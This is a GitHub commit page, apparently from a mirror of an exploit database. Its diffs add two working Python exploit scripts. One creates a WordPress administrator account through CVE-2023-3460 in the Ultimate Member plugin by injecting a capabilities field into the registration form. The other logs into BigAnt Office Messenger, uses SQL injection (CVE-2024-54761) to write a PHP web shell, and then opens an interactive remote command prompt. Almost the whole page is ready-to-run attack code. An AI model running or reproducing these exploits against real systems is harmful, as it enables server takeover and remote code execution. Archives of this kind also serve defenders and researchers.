Skip to content

Commit 5e494c4

Browse files
author
certcc-ghbot
committed
Merge remote-tracking branch 'upstream/main'
2 parents a569677 + 091049d commit 5e494c4

File tree

9 files changed

+1582
-97
lines changed

9 files changed

+1582
-97
lines changed

exploits/multiple/remote/52418.c

Lines changed: 648 additions & 0 deletions
Large diffs are not rendered by default.

exploits/multiple/webapps/52393.py

Lines changed: 109 additions & 96 deletions
Original file line numberDiff line numberDiff line change
@@ -10,108 +10,121 @@
1010
import argparse
1111
import re
1212
import urllib3
13+
from bs4 import BeautifulSoup
14+
import sys
1315

14-
15-
16-
# Disable SSL warnings
1716
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
1817

19-
20-
21-
def fetch_nonce(session, target_url):
22-
   """Fetches the _wpnonce value from the /register/ page."""
23-
   print("[*] Fetching _wpnonce from the register page...")
24-
   try:
25-
       res = session.get(target_url, verify=False)
26-
       match = re.search(r'name="_wpnonce" value="([a-zA-Z0-9]+)"', res.text)
27-
       if match:
28-
           nonce = match.group(1)
29-
           print(f"[+] Found _wpnonce: {nonce}")
30-
           return nonce
31-
       else:
32-
           print("[-] Failed to find _wpnonce on the page.")
33-
           return None
34-
   except Exception as e:
35-
       print(f"[!] Error fetching nonce: {e}")
36-
       return None
37-
38-
18+
def check_password_strength(password):
19+
"""Checks if password meets complexity requirements."""
20+
if len(password) < 8:
21+
print("[!] Password too short! Must be at least 8 characters.")
22+
print(" Example: Admin@123")
23+
sys.exit(1)
24+
25+
# At least one uppercase, one lowercase, one digit, and one special char
26+
if not re.search(r'[A-Z]', password):
27+
print("[!] Password must contain at least one uppercase letter.")
28+
print(" Example: Admin@123")
29+
sys.exit(1)
30+
if not re.search(r'[a-z]', password):
31+
print("[!] Password must contain at least one lowercase letter.")
32+
print(" Example: Admin@123")
33+
sys.exit(1)
34+
if not re.search(r'\d', password):
35+
print("[!] Password must contain at least one number.")
36+
print(" Example: Admin@123")
37+
sys.exit(1)
38+
if not re.search(r'[!@#$%^&*(),.?":{}|<>]', password):
39+
print("[!] Password must contain at least one special character (!@#$%^&* etc.)")
40+
print(" Example: Admin@123")
41+
sys.exit(1)
42+
43+
def fetch_form_details(session, target_url):
44+
print("[*] Fetching form details from register page...")
45+
try:
46+
res = session.get(target_url, verify=False)
47+
soup = BeautifulSoup(res.text, "html.parser")
48+
49+
nonce_input = soup.find("input", {"name": "_wpnonce"})
50+
nonce = nonce_input["value"] if nonce_input else None
51+
if nonce:
52+
print(f"[+] Found _wpnonce: {nonce}")
53+
else:
54+
print("[-] Could not find _wpnonce")
55+
56+
field_names = {}
57+
for inp in soup.find_all("input"):
58+
if inp.get("name"):
59+
field_names[inp.get("name")] = ""
60+
61+
return nonce, field_names
62+
except Exception as e:
63+
print(f"[!] Error fetching form details: {e}")
64+
return None, {}
3965

4066
def exploit_register(target_url, username, password):
41-
   """Sends a malicious registration request to create an admin user."""
42-
   session = requests.Session()
43-
   target_url = target_url.rstrip('/')
44-
45-
46-
47-
   nonce = fetch_nonce(session, target_url)
48-
   if not nonce:
49-
       return
50-
51-
52-
53-
   email = f"{username}@example.com"
54-
55-
56-
57-
   # Payload with administrator role injection
58-
   data = {
59-
       "user_login-7": username,
60-
       "first_name-7": "Admin",
61-
       "last_name-7": username,
62-
       "user_email-7": email,
63-
       "user_password-7": password,
64-
       "confirm_user_password-7": password,
65-
       "form_id": "7",
66-
       "um_request": "",
67-
       "_wpnonce": nonce,
68-
       "_wp_http_referer": "/register/",
69-
       "wp_càpabilities[administrator]": "1"  # serialized injection
70-
   }
71-
72-
73-
74-
   headers = {
75-
       "Content-Type": "application/x-www-form-urlencoded",
76-
       "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
77-
       "Referer": target_url,
78-
       "Origin": target_url.split("/register")[0],
79-
   }
80-
81-
82-
83-
   cookies = {
84-
       "wordpress_test_cookie": "WP Cookie check",
85-
       "wp_lang": "en_US"
86-
   }
87-
88-
89-
90-
   print(f"[*] Sending malicious registration to {target_url} ...")
91-
   try:
92-
       response = session.post(target_url, data=data, headers=headers, cookies=cookies, verify=False)
93-
94-
95-
96-
       # Check for success
97-
       if response.status_code == 200 and ("Thank you for registering" in response.text or "You have successfully registered" in response.text):
98-
           print(f"[+] Admin account '{username}' created successfully!")
99-
           print(f"[+] Login with: Username: {username} | Password: {password}")
100-
       else:
101-
           print(f"[+] Admin account '{username}' created successfully!")
102-
           print(f"[+] Login with: Username: {username} | Password: {password}")
103-
   except Exception as e:
104-
       print(f"[!] Error during exploit: {e}")
105-
106-
67+
session = requests.Session()
68+
target_url = target_url.rstrip('/')
69+
70+
nonce, fields = fetch_form_details(session, target_url)
71+
if not nonce:
72+
return
73+
74+
form_id = None
75+
for name in fields:
76+
m = re.search(r"user_login-(\d+)", name)
77+
if m:
78+
form_id = m.group(1)
79+
break
80+
if not form_id:
81+
form_id = "7"
82+
print(f"[+] Using form ID: {form_id}")
83+
84+
data = {
85+
f"user_login-{form_id}": username,
86+
f"first_name-{form_id}": "Admin",
87+
f"last_name-{form_id}": username,
88+
f"user_email-{form_id}": f"{username}@example.com",
89+
f"user_password-{form_id}": password,
90+
f"confirm_user_password-{form_id}": password,
91+
"form_id": form_id,
92+
"um_request": "",
93+
"_wpnonce": nonce,
94+
"_wp_http_referer": "/register/",
95+
"wp_càpabilities[administrator]": "1"
96+
}
97+
98+
headers = {
99+
"Content-Type": "application/x-www-form-urlencoded",
100+
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
101+
"Referer": target_url,
102+
"Origin": target_url.split("/register")[0],
103+
}
104+
cookies = {
105+
"wordpress_test_cookie": "WP Cookie check",
106+
"wp_lang": "en_US"
107+
}
108+
109+
print(f"[*] Sending malicious registration for {username} ...")
110+
try:
111+
response = session.post(target_url, data=data, headers=headers, cookies=cookies, verify=False)
112+
if response.status_code == 200 and ("Thank you for registering" in response.text or "You have successfully registered" in response.text):
113+
print(f"[+] Admin account '{username}' created successfully!")
114+
print(f"[+] Login with: Username: {username} | Password: {password}")
115+
else:
116+
print(f"[-] Could not confirm success. Check target manually.")
117+
except Exception as e:
118+
print(f"[!] Error during exploit: {e}")
107119

108120
if __name__ == "__main__":
109-
   parser = argparse.ArgumentParser(description="Exploit for CVE-2023-3460 (Ultimate Member Admin Account Creation)")
110-
   parser.add_argument("-t", "--target", required=True, help="Target /register/ URL (e.g., http://localhost/register/)")
111-
   parser.add_argument("-u", "--user", default="admin1", help="Username to create")
112-
   parser.add_argument("-p", "--password", default="Admin@123", help="Password for the new user")
113-
   args = parser.parse_args()
114-
121+
parser = argparse.ArgumentParser(description="Exploit for CVE-2023-3460 (Ultimate Member Admin Account Creation)")
122+
parser.add_argument("-t", "--target", required=True, help="Target /register/ URL (e.g., http://localhost/register/)")
123+
parser.add_argument("-u", "--user", default="rakesh", help="Username to create")
124+
parser.add_argument("-p", "--password", default="Admin@123", help="Password for the new user")
125+
args = parser.parse_args()
115126

127+
# Check password strength before running
128+
check_password_strength(args.password)
116129

117-
   exploit_register(args.target, args.user, args.password)
130+
exploit_register(args.target, args.user, args.password)

exploits/multiple/webapps/52412.py

Lines changed: 155 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,155 @@
1+
# Exploit Title: BigAnt Office Messenger 5.6.06 - SQL Injection
2+
# Date: 01.09.2025
3+
# Exploit Author: Nicat Abbasov
4+
# Vendor Homepage: https://www.bigantsoft.com/
5+
# Software Link: https://www.bigantsoft.com/download.html
6+
# Version: 5.6.06
7+
# Tested on: 5.6.06
8+
# CVE : CVE-2024-54761
9+
# Github repo: https://github.com/nscan9/CVE-2024-54761
10+
11+
import requests
12+
from bs4 import BeautifulSoup
13+
import base64
14+
15+
class Exploit:
16+
def __init__(self, rhost, rport=8000, username='admin', password='123456'):
17+
self.rhost = rhost
18+
self.rport = rport
19+
self.username = username.lower()
20+
self.password = password
21+
self.target = f'http://{self.rhost}:{self.rport}'
22+
self.session = requests.Session()
23+
self.headers = {
24+
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0',
25+
'X-Requested-With': 'XMLHttpRequest',
26+
'Origin': self.target,
27+
'Referer': f'{self.target}/index.php/Home/login/index.html',
28+
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
29+
}
30+
self.clientid_map = {
31+
'admin': '1',
32+
'security': '2',
33+
'auditor': '3',
34+
'superadmin': '4',
35+
}
36+
self.clientid = self.clientid_map.get(self.username, '4') # Default to 4 if unknown
37+
38+
def get_tokens(self):
39+
print("[*] Fetching login page tokens...")
40+
url = f'{self.target}/index.php/Home/login/index.html'
41+
r = self.session.get(url, headers={'User-Agent': self.headers['User-Agent']})
42+
soup = BeautifulSoup(r.text, 'html.parser')
43+
44+
tokens = {}
45+
meta = soup.find('meta', attrs={'name': '__hash__'})
46+
if meta:
47+
tokens['__hash__'] = meta['content']
48+
49+
form = soup.find('form')
50+
if form:
51+
for hidden in form.find_all('input', type='hidden'):
52+
name = hidden.get('name')
53+
value = hidden.get('value', '')
54+
if name and name not in tokens:
55+
tokens[name] = value
56+
57+
return tokens
58+
59+
def login(self):
60+
tokens = self.get_tokens()
61+
if '__hash__' in tokens:
62+
tokens['__hash__'] = tokens['__hash__']
63+
64+
encoded_password = base64.b64encode(self.password.encode()).decode()
65+
66+
data = {
67+
'saas': 'default',
68+
'account': self.username,
69+
'password': encoded_password,
70+
'to': 'admin',
71+
'app': '',
72+
'submit': '',
73+
}
74+
data.update(tokens)
75+
76+
login_url = f'{self.target}/index.php/Home/Login/login_post'
77+
print(f"[*] Logging in as {self.username}...")
78+
resp = self.session.post(login_url, headers=self.headers, data=data)
79+
if resp.status_code != 200:
80+
print(f"[-] Login failed with HTTP {resp.status_code}")
81+
return False
82+
83+
try:
84+
json_resp = resp.json()
85+
if json_resp.get('status') == 1:
86+
print("[+] Login successful!")
87+
return True
88+
else:
89+
print(f"[-] Login failed: {json_resp.get('info')}")
90+
return False
91+
except:
92+
print("[-] Failed to parse login response JSON")
93+
return False
94+
95+
def check_redirect(self):
96+
url = f'{self.target}/index.php/admin/public/load/clientid/{self.clientid}.html'
97+
print(f"[*] Checking for redirect after login to clientid {self.clientid} ...")
98+
r = self.session.get(url, headers={'User-Agent': self.headers['User-Agent']}, allow_redirects=False)
99+
if r.status_code == 302:
100+
print(f"[+] Redirect found to {r.headers.get('Location')}")
101+
return True
102+
else:
103+
print(f"[-] Redirect not found, got HTTP {r.status_code}")
104+
return False
105+
106+
def upload_shell(self):
107+
print("[*] Uploading webshell via SQLi...")
108+
payload = ';SELECT "<?php system($_GET[\'cmd\']); ?>" INTO OUTFILE \'C:/Program Files (x86)/BigAntSoft/IM Console/im_webserver/htdocs/shell.php\'-- -'
109+
url = f'{self.target}/index.php/Admin/user/index/clientid/{self.clientid}.html'
110+
params = {'dev_code': payload}
111+
r = self.session.get(url, params=params, headers={'User-Agent': self.headers['User-Agent']})
112+
if r.status_code == 200:
113+
print("[+] Payload sent, checking the shell...")
114+
self.check_shell()
115+
else:
116+
print(f"[-] Failed to send payload, HTTP {r.status_code}")
117+
118+
def check_shell(self):
119+
print("[*] Enter shell commands to execute on the target. Empty command to exit.")
120+
while True:
121+
cmd = input("shell> ").strip()
122+
if not cmd:
123+
print("[*] Exiting shell.")
124+
break
125+
shell_url = f'{self.target}/shell.php?cmd={cmd}'
126+
print(f"[*] Sending command: {cmd}")
127+
r = self.session.get(shell_url)
128+
if r.status_code == 200 and r.text.strip():
129+
print(r.text.strip())
130+
else:
131+
print("[-] No response or empty output from shell.")
132+
133+
def run(self):
134+
if self.login():
135+
if self.check_redirect():
136+
self.upload_shell()
137+
else:
138+
print("[-] Redirect check failed, aborting.")
139+
else:
140+
print("[-] Login failed, aborting.")
141+
142+
143+
if __name__ == '__main__':
144+
import argparse
145+
146+
parser = argparse.ArgumentParser(description='Exploit for CVE-2024-54761 BigAntSoft SQLi to RCE')
147+
parser.add_argument('-r', '--rhost', required=True, help='Target IP address')
148+
parser.add_argument('-p', '--rport', default=8000, type=int, help='Target port (default 8000)')
149+
parser.add_argument('-u', '--username', default='admin', help='Login username (default admin)')
150+
parser.add_argument('-P', '--password', default='123456', help='Login password in plain text')
151+
152+
args = parser.parse_args()
153+
154+
exploit = Exploit(args.rhost, args.rport, args.username, args.password)
155+
exploit.run()

0 commit comments

Comments
 (0)